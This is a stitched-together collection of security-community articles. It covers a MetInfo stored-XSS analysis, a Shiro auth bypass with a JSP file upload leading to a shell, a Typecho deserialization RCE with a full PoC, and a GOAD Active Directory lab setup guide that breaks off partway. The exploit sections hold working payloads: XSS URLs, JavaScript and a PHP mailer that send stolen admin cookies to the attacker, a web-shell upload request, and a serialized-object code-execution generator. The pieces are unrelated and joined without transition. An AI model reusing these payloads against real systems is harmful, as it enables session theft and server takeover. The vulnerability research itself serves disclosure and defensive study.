$_M 数组是一个包含了网站设置，系统调用等信息的总和数组，具体内容如下：
$_M[config]：网站配置数组，里面可以查询到所有的网站配置数据。
$_M[form]：提交的GET,POST,COOKIE表单数组。在系统中不要直接使用$_POST,$_GET,$_COOKIE,
这些都是没有过滤的，$_M[form]中是已经安全过滤后的数组。
$_M[langlist]：语言设置数组，其中$_M[langlist][web]为前台语言设置，
$_M[langlist][admin]为后台语言设置。
$_M[lang]：前台语言，如果你是在网站前台，则这个值是你当前访问的语言，
如果是后台，则这个值是你当前编辑的语言。
$_M[table]：系统表名称。
$_M[url]：系统一些常用URL入口地址。
$_M[url][site_admin] ：网站后台地址
$_M[url][site] ：网站前台地址
$_M[url][entrance] ：框架入口地址
$_M[url][own] ：当前执行的应用根目录地址
$_M[url][app] ：应用根目录地址
$_M[url][pub] ：系统公用文件（html.css,js）地址
$_M[url][ui] ：当前class所使用的UI地址，前台为“系统ui根目录/web”;，
后台为“系统ui根目录/admin”。
$_M[user][cookie]：用户cookie信息，建议不要直接取值，使用get_met_cookie()取值。
$_M[word]：当前的语言参数。
$_M[plugin]：系统插件数组。
然后在 app/system/include/class/common.class.php中
$_M['config']['met_adminfile_code'] = $_M['config']['met_adminfile'];
$_M['config']['met_adminfile'] = authcode($_M['config']['met_adminfile'],'DECODE', $_M['config']['met_webkeys']);
if ($_M['config']['met_adminfile'] == '') {
$_M['config']['met_adminfile'] = 'admin';
$met_adminfile = authcode($_M['config']['met_adminfile'],'ENCODE', $_M['config']['met_webkeys']);
$query = "UPDATE {$_M['config']['tablepre']}config SET `value` = '$met_adminfile' where `name`='met_adminfile'";
$result = DB::query($query);
}
我们可以看到，met_adminfile是我们可控的值存在于$_M[‘config’][‘met_adminfile’]中，也就是通过这个就可以找到我们可以构造的点了。
看到这里就会发现离我们可构造的XSS不远了，这段存在于app/system/safe/admin/templates/index.php
(72行)，可以发现，这里标签直接输出了met_adminfile的值，因此造成了一个存储型的XSS漏洞。
xss payload:
http://127.0.0.1/metinfo6.13/admin/login/login_check.php?url_array[]=1&url_array[]=1&url_array[]=aa"
onfocus=alert(/xss/) &url_array[]=1
xss的构造方式有很多中，但是只要满足输出条件即可：
$turefile=$url_array[count($url_array)-2]在倒数第二个值中输入我们想要的值就可以了，传入url_array[]数组的值然后$truefile返回的是数组倒数第二个值，然后$truefile会被带入数据库中被更新，然后后台在点击带有那个标签页面时便会触发xss
### 前台漏洞复现
其实这个漏洞也不完全是前台，因为它只是通过通过URL访问后台目录并不是前端造成的，虽然无回显但是可以成功插入信息。
xss payload:
http://127.0.0.1/metinfo6.13/admin/login/login_check.php?url_array[]=1&url_array[]=1&url_array[]=aa" onfocus=alert(/xss/) &url_array[]=1
然后直接访问，无回显。
这时登录后台，点击安全与效率页面
点击后台文件夹的文件名即可触发xss。其实可以发现后台文件名已经被更改了，并插入了xss代码。每当更改文件名时便会触发xss，这里就是通过更改参数的值传进数据库，从而更新了文件名。
我们可以通过这个存储型XSS漏洞去拿管理员cookie。
获取cookie-payload:
http://127.0.0.1/metinfo6.13/admin/login/login_check.php?url_array[]=1&url_array[]=1&url_array[]=aa" <SCript src=http://localhost/Myphp/eamil/joke.js>&url_array[]=1
单引号做了过滤所以不要使用单引号，payload能简则简。这里是我自己写了个很简单的脚本，获取cookie发送自己邮箱里。执行后，当管理员进入后台点击安全与效率页面时便可触发。
脚本贴上
<?php
$cookie = $_GET['joke'];
if(isset($_GET['joke']))
{
$to = "[email protected]"; // 邮件接收者
$subject = "COOKIE"; // 邮件标题
$message = $_GET['joke']; // 邮件正文
$from = "[email protected]"; // 邮件发送者
$headers = "From:" . $from; // 头部信息设置
mail($to,$subject,$message,$headers);
echo "邮件已发送";
}
else
echo "邮件发送失败";
?>
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://localhost/Myphp/eamil/eamil0.php?joke='+encodeURIComponent(document.cookie);//这里是用本地环境测试的，可以换成自己的ip地址
js脚本获取cookie内容，然后将cookie赋予php脚本变量中，然后获取变量内容，发送邮件到自己邮箱。
发送邮箱需配置smtp服务，具体可以参考我这篇文章<https://www.jianshu.com/p/4afafc3c5a3e>
## 后台漏洞分析（CVE-2018-19835）
后台也是由于参数问题造成的xss漏洞，不过这个目录只能在后台访问。
先看造成漏洞的主要代码块（/admin/column/move.php）：
从代码中可以看出只需要$folderyanzheng>
0进入if判断内，再看第二个if语句，要保证$folder_m不为空，因此我们可以随便查询一个数据库，也就是给变量$foldername赋一个数据库名。然后将$lang_columnerr4赋给$metcms,最后输出$metcms，也就造成了xss。
查询数据库如下：
不过从这里可以看出造成这个xss攻击代价太大，不仅要知道后台权限，还要知道一个数据库名。感觉可用性并不是太强。
### 漏洞复现
Xss-Payload:
http://127.0.0.1/metinfo6.13/admin/column/move.php?foldyanzheng=1&foldername=search&lang_columnerr4=<Script>alert(/xss/)</sCript>&metcms=1
这里我们可以看出它会将信息最终通过metcms参数输出在页面中，因此也就造成了xss。
## 总结
修复建议： 因为最新版本应该已经修复相关漏洞，可以升级为新版本。
metinfo出现的xss漏洞较多，但xss在能够利用的情况下产生的危害也较大，因此在开发时应考虑到造成漏洞的不同场景，尽可能的避免漏洞存在。针对XSS最常见的可以对输入(和URL参数)进行过滤，对输出进行编码，也可以对关键字进行黑名单或白名单的过滤等等。
以上分析仅为个人理解，如有不足之处还请大佬们指点。
参考文章：[Metinfo前台XSS漏洞分析
CVE-2018-20486](https://mp.weixin.qq.com/s?__biz=MzI0Nzc0NTcwOQ==&mid=2247484411&idx=1&sn=46f4e1c99a22adb6faf15d05c4ea17d9&chksm=e9aa1e39dedd972ffdba44875e59175e753f5d4d050c95a298a4fa70e75c7c33d570112fdcec&xtrack=1&scene=0&subscene=131&clicktime=1548610288&ascene=7&devicetype=android-27&version=2700003c&nettype=3gnet&abtest_cookie=BQABAAoACwASABMAFAAGACOXHgBXmR4Am5keAJ2ZHgCzmR4A0pkeAAAA&lang=zh_CN&pass_ticket=K3YlNukD0anrGXdztX3Gp0N%2FtlGlThFaU%2BKcGr3Kd3sfVbfNh0CLzWQS0hORsvr2&wx_header=1) | 社区文章 |
## 0x01 Shiro反序列化命令执行？
日常挖洞，burpsuite插件shiro告警
用ShiroExploit的dnslog方式和静态文件回显方式都没检测出来。tomcat的回显也是不行。
## 0x02 任意文件上传？
这个站打开是个登录框
抓包，发现验证码无效，爆破一顿以后没爆出来。注意到
这个框架叫某admin框架，谷歌查了一下这个框架有什么洞，发现一篇帖子。
说存在此文件plugins/uploadify/uploadFile.jsp 且此文件存在任意文件上传
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*, java.util.*, org.apache.commons.fileupload.*, java.util.*" %>
<%@ page import="org.apache.commons.fileupload.disk.*, org.apache.commons.fileupload.servlet.*" %>
<%!
public void upload(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {
String savePath = this.getServletConfig().getServletContext().getRealPath("");
savePath = savePath + request.getParameter("uploadPath");
File f1 = new File(savePath);
//这里接收了uploadPath的值 System.out.println(request.getParameter("uploadPath"));
if (!f1.exists()) {
f1.mkdirs();
}
DiskFileItemFactory fac = new DiskFileItemFactory();
ServletFileUpload upload = new ServletFileUpload(fac);
upload.setHeaderEncoding("utf-8");
List fileList = null;
try {
fileList = upload.parseRequest(request);
} catch (FileUploadException ex) {
return;
}
String fileNmae = request.getParameter("fileNmae");
Iterator<FileItem> it = fileList.iterator();
String name = "";
String extName = "";
while (it.hasNext()) {
FileItem item = it.next();
if (!item.isFormField()) {
name = item.getName();
long size = item.getSize();
String type = item.getContentType();
//System.out.println(size + " " + type);
if (name == null || name.trim().equals("")) {
continue;
}
// 扩展名格式：
if (name.lastIndexOf(".") >= 0) {
extName = name.substring(name.lastIndexOf("."));
}
File file = null;
if(null != fileNmae && !"".equals(fileNmae)){
file = new File(savePath + fileNmae);
}else{
do {
if(null != fileNmae && !"".equals(fileNmae)){
file = new File(savePath + fileNmae);
}else{
name = new java.text.SimpleDateFormat("yyyyMMddhhmmss").format(new Date()); //获取当前日期
name = name + (int)(Math.random()*90000+10000);
file = new File(savePath + name + extName);
}
} while (file.exists());
}
File saveFile = new File(savePath + name + extName);
try {
item.write(saveFile);
} catch (Exception e) {
e.printStackTrace();
}
}
}
response.getWriter().print((name.trim() + extName.trim()).trim());
}
%>
<%
upload(request, response);
%>
尝试访问此文件，提示未登录302跳转
想到这个站用了shiro虽然反序列化命令执行修了，shiro权限绕过可能没修。具体可以看这篇文章：<https://mp.weixin.qq.com/s/yb6Tb7zSTKKmBlcNVz0MBA>
我们使用
/;a/plugins/uploadify/uploadFile.jsp
来绕过shiro的权限控制，可以注意到状态码为200
结合之前给出的代码需要两个参数构造上传包
发现上传成功，但是居然找不到文件。
仔细看了一下才知道request.getParameter("uploadPath");解析不了multipart里的参数，再次构造上传包
POST /;a/plugins/uploadify/uploadFile.jsp?uploadPath=/plugins/uploadify/ HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQDeBiVqfe6p3FMnJ
------WebKitFormBoundaryQDeBiVqfe6p3FMnJ
Content-Disposition: form-data; name="imgFile"; filename="2204249.jsp"
Content-Type: image/jpeg
test
------WebKitFormBoundaryQDeBiVqfe6p3FMnJ--
成功shell | 社区文章 |
**Author: LoRexxar'@Knownsec 404 Team**
**Chinese version:<https://paper.seebug.org/424/>**
## 0x01 Foreword
[Typecho](http://typecho.org/ "Typecho") is a PHP Blogging Platform. Its
database includes Mysql，PostgreSQL，SQLite and it is an open-source program
under the GPL version 2 license. It uses SVN to do version synchronization.
On October 13, 2017, Typecho revealed a front-end code execution
vulnerability. Knownsec 404 Team successfully made recurrence of this
vulnerability.
Our security researchers confirmed that this vulnerability can execute code
indefinitely and cause getshell.
## 0x02 Recurrence
Open Typecho
Generate the corresponding payload
YTo3OntzOjQ6Imhvc3QiO3M6OToibG9jYWxob3N0IjtzOjQ6InVzZXIiO3M6NjoieHh4eHh4IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo0OiJwb3J0IjtzOjQ6IjMzMDYiO3M6ODoiZGF0YWJhc2UiO3M6NzoidHlwZWNobyI7czo3OiJhZGFwdGVyIjtPOjEyOiJUeXBlY2hvX0ZlZWQiOjM6e3M6MTk6IgBUeXBlY2hvX0ZlZWQAX3R5cGUiO3M6NzoiUlNTIDIuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6NTp7czo0OiJsaW5rIjtzOjE6IjEiO3M6NToidGl0bGUiO3M6MToiMiI7czo0OiJkYXRlIjtpOjE1MDc3MjAyOTg7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fXM6ODoiY2F0ZWdvcnkiO2E6MTp7aTowO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fX19fXM6MTA6ImRhdGVGb3JtYXQiO047fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9
Set the appropriate cookie and send the request
http://127.0.0.1/install.php?finish
phpinfo excuted
## 0x03 Analysis
The entry point of the vulnerability is in install.php. There are two
judgments before entering install.php.
//Determine if it is installed
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}
// Block possible cross-site requests
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}
$parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port'])) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
}
if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}
Just pass the GET parameter finish and set the referer to the site URL.
Find the entry of the vulnerability - install.php line 232 to line 237
It seems clear that it is a deserialization vulnerability
The problem is how to use it. There should be corresponding magic methods.
Only a few of them are more critical
__destruct()
__wakeup()
__toString()
`__destruct ()` is automatically called when the object is destroyed.
`__Wakeup` is automatically called when deserialization, and`__toString ()`is
automatically called when the object is called.
If the deserialization constructed is an array, and the adapter is set to a
certain class, the `__toString` method of the corresponding class can be
triggered.
Looking for all toString methods, I only found one class method that can be
used for the time being.
It is at line 223, /var/Typecho/Feed.php
Analyze the tostring function
Line 290 calls `$ item ['author']-> screenName`, which is a private variable
of the current class
Line 358 also calls the same variable, which should also be available here
A special magic method `__get` is mentioned here.`__Get` will be called when
reading the value of an inaccessible property. We can set the item to call the
`__get` magic method at a certain location.
line 269 in /var/Typecho/Request.php may be the only `__get` method available.
Follow the get function
Finally at line 159 applyFilter function
We found the `call_user_func` function.
Trace the entire utilization chain - We can control the private variables in
the `Typecho_Request` class by setting`item ['author']`, so that both`_filter`
and `_params ['screenName']` in the class can be controlled, so is the
`call_user_func` function variable, and the arbitrary code is executed.
Though we constructed the PoC according to all the processes above, the server
returned 500 after we sent a request.
Review the code
At the beginning of install.php, `ob_start ()` is called
The explanation of `ob_start` on php.net is like this.
Because the object injection code above triggers the original exception, which
causes `ob_end_clean ()` to execute, the original output will be cleaned in
the buffer.
We must think of a way to force exit so the original buffer data will be
output.
Here are two ways.
1\. Because the `call_user_func` function is a loop, we can set the array to
control the function to be excuted the second time, find an exit and the data
in the buffer will be printed out.
2\. Another method is to try to cause an error after the command is executed.
The statement error will be forced to stop, and ew can get the data in the
buffer.
After solving this problem, the entire ROP chain is established.
## 0x04 PoC
<?php
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct()
{
// $this->_params['screenName'] = 'whoami';
$this->_params['screenName'] = -1;
$this->_filter[0] = 'phpinfo';
}
}
class Typecho_Feed
{
const RSS2 = 'RSS 2.0';
/ ** Define ATOM 1.0 type * /
????const ATOM1 = 'ATOM 1.0';
????/ ** Define RSS time format * /
????const DATE_RFC822 = 'r';
????/ ** Define ATOM time format * /
????const DATE_W3CDTF = 'c';
????/ ** Define line terminator * /
const EOL = "\n";
private $_type;
private $_items = array();
public $dateFormat;
public function __construct()
{
$this->_type = self::RSS2;
$item['link'] = '1';
$item['title'] = '2';
$item['date'] = 1507720298;
$item['author'] = new Typecho_Request();
$item['category'] = array(new Typecho_Request());
$this->_items[0] = $item;
}
}
$x = new Typecho_Feed();
$a = array(
'host' => 'localhost',
'user' => 'xxxxxx',
'charset' => 'utf8',
'port' => '3306',
'database' => 'typecho',
'adapter' => $x,
'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($a)));
?>
## 0x05 References
[1] [Typecho official website](http://typecho.org/ "Typecho's official
website")
[2] [Typecho github](https://github.com/typecho/typecho "Typecho github link")
[3] [Typecho official
patch](https://github.com/typecho/typecho/commit/e277141c974cd740702c5ce73f7e9f382c18d84e
"Typecho official patch")
[4] [Typecho install.php deserialization resulting in arbitrary code
execution](http://p0sec.net/index.php/archives/114/ "Typecho install.php
deserialization results in arbitrary code execution")
## 0x06 Postscript
We received analysis of the same vulnerability from p0 on October 25. Thank
you for your submission.<http://p0sec.net/index.php/archives/114/>
* * * | 社区文章 |
前几天在社区投稿了[GOAD靶场](https://github.com/Orange-Cyberdefense/GOAD)的writeup：
**[域渗透GOAD(Game Of Active Directory) v2（一）](https://xz.aliyun.com/t/12137)**
**[域渗透GOAD(Game Of Active Directory) v2（二）](https://xz.aliyun.com/t/12138)**
**[域渗透GOAD(Game Of Active Directory) v2（三）](https://xz.aliyun.com/t/12139)**
**[域渗透GOAD(Game Of Active Directory) v2（四）](https://xz.aliyun.com/t/12140)**
应师傅们的留言要求，在这里把靶场的搭建过程详细写一下
按照README中的说法，整个搭建过程分两步：
1. providing : it is made with vagrant, it download and run empty windows box.
2. provisioning : it is made with ansible, it will install all the stuff to make the lab running like an active directory network
翻译一下就是，使用`vagrant`来创建各个虚拟机(虚拟化平台可以选择VirtualBox和VMware)，使用`ansible`自动化配置各虚拟机内的环境
`vagrant`阶段比较简单，创建虚拟机就行了，而`ansible`阶段需要与windows虚拟机进行大量的交互，很容易失败
官方是推荐在Linux搭建的，考虑到很多师傅只有Windows的物理机，我把在两个平台搭建的方法都写详细一些
如果准备在Windows上搭建的师傅，建议也看一下Linux的部分，有些对步骤和命令的说明
## 在Linux上搭建
我的环境：
* Ubuntu 16.04
* Intel Xeon Silver 4210R CPU @ 2.40GHz
* 64G 内存
在Linux上没有安装VMware的经验，所以这里的虚拟化平台我就选择VirtualBox。
架构如下，需要在宿主机安装virtualbox+vagrant(管理靶机)和docker(安装ansible):
### 1.安装virtualbox
官方文档：<https://www.virtualbox.org/wiki/Linux_Downloads>
sudo apt install virtualbox virtualbox-ext-pack
### 2.安装vagrant
官方文档：<https://developer.hashicorp.com/vagrant/downloads>
不要直接`sudo apt install vagrant` 因为ubuntu默认源里的vagrant是1.8.1版本 太旧了 最新版已经是2.3.4了
可以添加vagrant的源然后安装
wget -O- https://apt.releases.hashicorp.com/gpg | gpg --dearmor | sudo tee /usr/share/keyrings/hashicorp-archive-keyring.gpg
echo "deb [signed-by=/usr/share/keyrings/hashicorp-archive-keyring.gpg] https://apt.releases.hashicorp.com $(lsb_release -cs) main" | sudo tee /etc/apt/sources.list.d/hashicorp.list
sudo apt update && sudo apt install vagrant
也可以直接下载安装包
wget https://releases.hashicorp.com/vagrant/2.3.4/vagrant_2.3.4-1_amd64.deb
sudo dpkg -i vagrant_2.3.4-1_amd64.deb
这里顺便说几个vagrant的常用命令
* vagrant box 查看/管理下载的各个虚拟机镜像
* vagrant up/halt/reload/destroy 按照vagrantfile 启动/关闭/重启/删除 虚拟机环境
* vagrant snapshot 查看/管理各个虚拟机的快照
### 3.克隆GOAD仓库
git clone https://github.com/Orange-Cyberdefense/GOAD.git
# 嫌慢的话可以用加速地址，这个加速地址也支持IPV6，还是很爽的
git clone https://proxy.zyun.vip/https://github.com/Orange-Cyberdefense/GOAD.git
### 4.修改Vagrantfile配置文件
切换到GOAD目录下，有一个Vagrantfile文件，下边是最新版的默认配置内容：
Vagrant.configure("2") do |config|
# Uncomment this depending on the provider you want to use
ENV['VAGRANT_DEFAULT_PROVIDER'] = 'virtualbox'
# ENV['VAGRANT_DEFAULT_PROVIDER'] = 'vmware_desktop'
boxes = [
# windows server 2022 : don't work for now
#{ :name => "DC01", :ip => "192.168.56.10", :box => "StefanScherer/windows_2022", :box_version => "2021.08.23", :os => "windows"},
# windows server 2019
{ :name => "DC01", :ip => "192.168.56.10", :box => "StefanScherer/windows_2019", :box_version => "2021.05.15", :os => "windows"},
# windows server 2019
{ :name => "DC02", :ip => "192.168.56.11", :box => "StefanScherer/windows_2019", :box_version => "2021.05.15", :os => "windows"},
# windows server 2016
{ :name => "DC03", :ip => "192.168.56.12", :box => "StefanScherer/windows_2016", :box_version => "2017.12.14", :os => "windows"},
# windows server 2019
#{ :name => "SRV01", :ip => "192.168.56.21", :box => "StefanScherer/windows_2019", :box_version => "2020.07.17", :os => "windows"},
# windows server 2019
{ :name => "SRV02", :ip => "192.168.56.22", :box => "StefanScherer/windows_2019", :box_version => "2020.07.17", :os => "windows"},
# windows server 2016
{ :name => "SRV03", :ip => "192.168.56.23", :box => "StefanScherer/windows_2016", :box_version => "2019.02.14", :os => "windows"}
# ELK
# { :name => "elk", :ip => "192.168.56.50", :box => "bento/ubuntu-18.04", :os => "linux",
# :forwarded_port => [
# {:guest => 22, :host => 2210, :id => "ssh"}
# ]
# }
]
# BUILD with a full up to date vm if you don't want version with old vulns
# ansible versions boxes : https://app.vagrantup.com/jborean93
# boxes = [
# # windows server 2019
# { :name => "DC01", :ip => "192.168.56.10", :box => "jborean93/WindowsServer2019", :os => "windows"},
# # windows server 2019
# { :name => "DC02", :ip => "192.168.56.11", :box => "jborean93/WindowsServer2019", :os => "windows"},
# # windows server 2016
# { :name => "DC03", :ip => "192.168.56.12", :box => "jborean93/WindowsServer2016", :os => "windows"},
# # windows server 2019
# { :name => "SRV02", :ip => "192.168.56.22", :box => "jborean93/WindowsServer2019", :os => "windows"},
# # windows server 2016
# { :name => "SRV03", :ip => "192.168.56.23", :box => "jborean93/WindowsServer2016", :os => "windows"}
# ]
config.vm.provider "virtualbox" do |v|
v.memory = 4000
v.cpus = 2
end
config.vm.provider "vmware_desktop" do |v|
v.vmx["memsize"] = "4000"
v.vmx["numvcpus"] = "2"
end
# disable rdp forwarded port inherited from StefanScherer box
config.vm.network :forwarded_port, guest: 3389, host: 3389, id: "rdp", auto_correct: true, disabled: true
# no autoupdate if vagrant-vbguest is installed
if Vagrant.has_plugin?("vagrant-vbguest") then
config.vbguest.auto_update = false
end
config.vm.boot_timeout = 600
config.vm.graceful_halt_timeout = 600
config.winrm.retry_limit = 30
config.winrm.retry_delay = 10
boxes.each do |box|
config.vm.define box[:name] do |target|
# BOX
target.vm.provider "virtualbox" do |v|
v.name = box[:name]
end
target.vm.box_download_insecure = box[:box]
target.vm.box = box[:box]
if box.has_key?(:box_version)
target.vm.box_version = box[:box_version]
end
# issues/49
target.vm.synced_folder '.', '/vagrant', disabled: true
# IP
target.vm.network :private_network, ip: box[:ip]
# OS specific
if box[:os] == "windows"
target.vm.guest = :windows
target.vm.communicator = "winrm"
target.vm.provision :shell, :path => "vagrant/Install-WMF3Hotfix.ps1", privileged: false
target.vm.provision :shell, :path => "vagrant/ConfigureRemotingForAnsible.ps1", privileged: false
# fix ip for vmware
if ENV['VAGRANT_DEFAULT_PROVIDER'] == "vmware_desktop"
target.vm.provision :shell, :path => "vagrant/fix_ip.ps1", privileged: false, args: box[:ip]
end
else
target.vm.communicator = "ssh"
end
if box.has_key?(:forwarded_port)
# forwarded port explicit
box[:forwarded_port] do |forwarded_port|
target.vm.network :forwarded_port, guest: forwarded_port[:guest], host: forwarded_port[:host], host_ip: "127.0.0.1", id: forwarded_port[:id]
end
end
end
end
end
* 如果需要开启ELK虚拟机看一下采集的日志的话，需要将23-27行取消注释（别忘了再21行最后加逗号）
* 重点是改一下46、47行的配置，如果你的宿主机硬件条件一般的话，每个虚拟机1C2G就可以了
* 其他的不用修改
### 5.创建虚拟机
切换到GOAD目录下，执行该命令即可。
vagrant up
如果是第一次搭建的话，会自动下载镜像文件，如果网速比较慢，建议挂screen/tmux来执行。
最终如下，五个虚拟机已经创建完成：
可以通过如下命令查看下载的 **镜像** ，当然你想修改的话把list换成remove等，具体看帮助手册
vagrant box list
这里我安装过多次，可能有旧版本的，跟我不一样也没关系，缺的镜像会自动下载的。
### 6.构建ansible的docker镜像
这一步可能也比较慢，可以跟上一步同时弄。
前边说过了，ansible是用于自动化配置各虚拟机内的环境的，这里我推荐用docker的形式来搭建ansible
直接build即可：
# 没有docker的话先安装：https://developer.aliyun.com/article/110806
docker build -t goadansible .
如果嫌慢的话提前修改Dockerfile，换成清华或者其他的源
RUN sed -i 's/http:\/\/archive\.ubuntu\.com\/ubuntu\//http:\/\/mirrors\.tuna\.tsinghua\.edu\.cn\/ubuntu\//g' /etc/apt/sources.list
RUN sed -i 's/http:\/\/security\.ubuntu\.com\/ubuntu\//http:\/\/mirrors\.tuna\.tsinghua\.edu\.cn\/ubuntu\//g' /etc/apt/sources.list
RUN pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple
当然也可以直接拉取我的镜像：
docker pull registry.cn-hangzhou.aliyuncs.com/u21h2/goadansible
docker tag registry.cn-hangzhou.aliyuncs.com/u21h2/goadansible ansible
### 7.使用ansible配置虚拟机内环境
* 首先尝试执行ansible-playbook main.yml
* 错误较少的话重复执行ansible-playbook main.yml
* 错误较多的话逐一执行main.yml中的各个yml
* 仍然不成功的话，重启/重装虚拟机，检查计算资源
* 直到最终输出只有ok和changed
ansible目录的main.yml内容如下：
--- # Prepare servers
- import_playbook: build.yml
# Add monitoring
#- import_playbook: elk.yml # 如果开启ELK虚拟机的话这个得取消注释掉
# -------------------------------------------------------------------- # VM ready - start insert specific scenario
# -------------------------------------------------------------------- # Turn server into DC and load active directory data (users/groups/ou)
#- import_playbook: ad.yml
# create main domains, child domain and enroll servers
## AD ---------- - import_playbook: ad-servers.yml
# create the trust relationships
- import_playbook: ad-trusts.yml
# import the ad datas : users/groups...
- import_playbook: ad-data.yml
# install LAPS
- import_playbook: laps.yml
## MSSQL + IIS ---------- # configure servers vulns (done in the middle of ad install to let time before install relations and acl)
#- import_playbook: servers.yml
## AD - servers localgroup + rdp + inter domain relations & acl
# set the rights and the group domains relations
- import_playbook: ad-relations.yml
# set adcs
- import_playbook: adcs.yml
# set the ACL
- import_playbook: ad-acl.yml
## SERVERS --------- ### MSSQL + IIS ---------- # configure servers vulns (done in the midle of ad install to let time before install relations and acl)
- import_playbook: servers.yml
## SECURITY ----- # -------------------------------------------------------------------- # specifics security linked to the scenario are here
- import_playbook: security.yml
# -------------------------------------------------------------------- # specifics vulns linked to the scenario are here
- import_playbook: vulnerabilities.yml
官方给的命令如下，也就是执行所有的yml，我们直接在GOAD目录下这么执行即可
docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook main.yml
这是比较顺利的情况：
这是失败后又自动重试成功的：
这是失败的样子：
所以，不出意外的话，等一段时间之后，会出现一些失败项，重新执行该ansible命令即可
直到最后全都是ok和changed
如果还没出现最终结果，你就已经看到大量的失败输出了，也可以提前中止并重新运行。
前边说到我们有DC01-03、SRC02-03共五个虚拟机，这个ansible运行的逻辑是：假设在最开始的build.yml过程中DC01出现了错误，那么后面所有的yml都会忽略DC01。所以如果你配置的时候，反复执行还有一直有错误的话，就得将main.yml中的文件
**按顺序逐个执行** 了。
> Or you can run playbooks one by one (mostly for debug or if you get trouble
> during install)
> The main.yml playbook is build in multiples parts. each parts can be re-run
> independently but the play order must be keep in cas you want to play one by
> one
docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook build.yml # Install stuff and prepare vm
docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook ad-servers.yml # create main domains, child domain and enroll servers
docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook ad-trusts.yml # create the trust relationships
docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook ad-data.yml # import the ad datas : users/groups...
docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook laps.yml
docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook ad-relations.yml # set the rights and the group domains relations
docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook adcs.yml # Install ADCS on essos
docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook ad-acl.yml # set the ACE/ACL
docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook servers.yml # Install IIS and MSSQL
docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook security.yml # Configure some securities (adjust av enable/disable)
docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook vulnerabilities.yml # Configure some vulnerabilities
如果 **逐个执行** 还有问题的话：
* 考虑使用vagrant命令将虚拟机重启/删除重装
* 检查计算资源是否不足（参见本文最后面）
### 8.测试
我个人更习惯在Linux下发起渗透测试，所以就在宿主机上进行，当然也可以另外创建虚拟机或者socks代理到别的机器上搞。
!!!不管在哪执行渗透测试 记得参考我写的Writeup
[设置各机器的hosts](https://xz.aliyun.com/t/12137#toc-7)
部署完成之后 可以使用nmap、cme、fscan等工具来检查一下（上一步如果都是ok和changed话，一般问题不大）
参考<https://xz.aliyun.com/t/12137> ****0x01 Reconnaissance and Scan 侦查和扫描****
nmap -Pn -p- -sC -sV -oA full_scan_goad 192.168.56.10-12,22-23
### 9.创建快照
刚部署完成可以创建一份快照，避免后边把靶场打坏了，重新部署又很费劲，有了快照就可以直接恢复
vagrant snapshot save
## 在Windows上搭建
我的环境：
* Windows 11
* Intel Core i5-12490f CPU @ 3.00GHz
* 32G 内存
我也选择用免费且轻量的virtualbox来部署，如果用VMWare的话可以按README来探索一下(额外安装VMware Utility等)
在windows上我会 **额外** 创建一个虚拟机，用于安装ansible并作为攻击机
这个图是有些套娃的意思了:
### 1.安装virtualbox
官网：<https://www.virtualbox.org/wiki/Downloads>
下载最新版安装：<https://download.virtualbox.org/virtualbox/7.0.6/VirtualBox-7.0.6-155176-Win.exe>
安装后修改虚拟机安装位置，不然会安装到C盘：
### 2.安装vagrant
官网：<https://developer.hashicorp.com/vagrant/downloads>
下载最新版安装：<https://releases.hashicorp.com/vagrant/2.3.4/vagrant_2.3.4_windows_amd64.msi>
在Vagrant中添加box时，加载目录默认在 ~/.vagrant.d/，具体的目录结构是C:\Users\YourUsername.vagrant.d\
所以也需要修改vagrant的工作目录（存放镜像）：
setx VAGRANT_HOME "/your/path" # 用户
setx VAGRANT_HOME "/your/path" /M # 系统
可以看到我这设置到了G盘
如果之前已经设定且下载了一些镜像，需要迁移的话参考这篇文章：<https://blog.csdn.net/li_xue_zhao/article/details/100095040>
### 3.克隆GOAD仓库
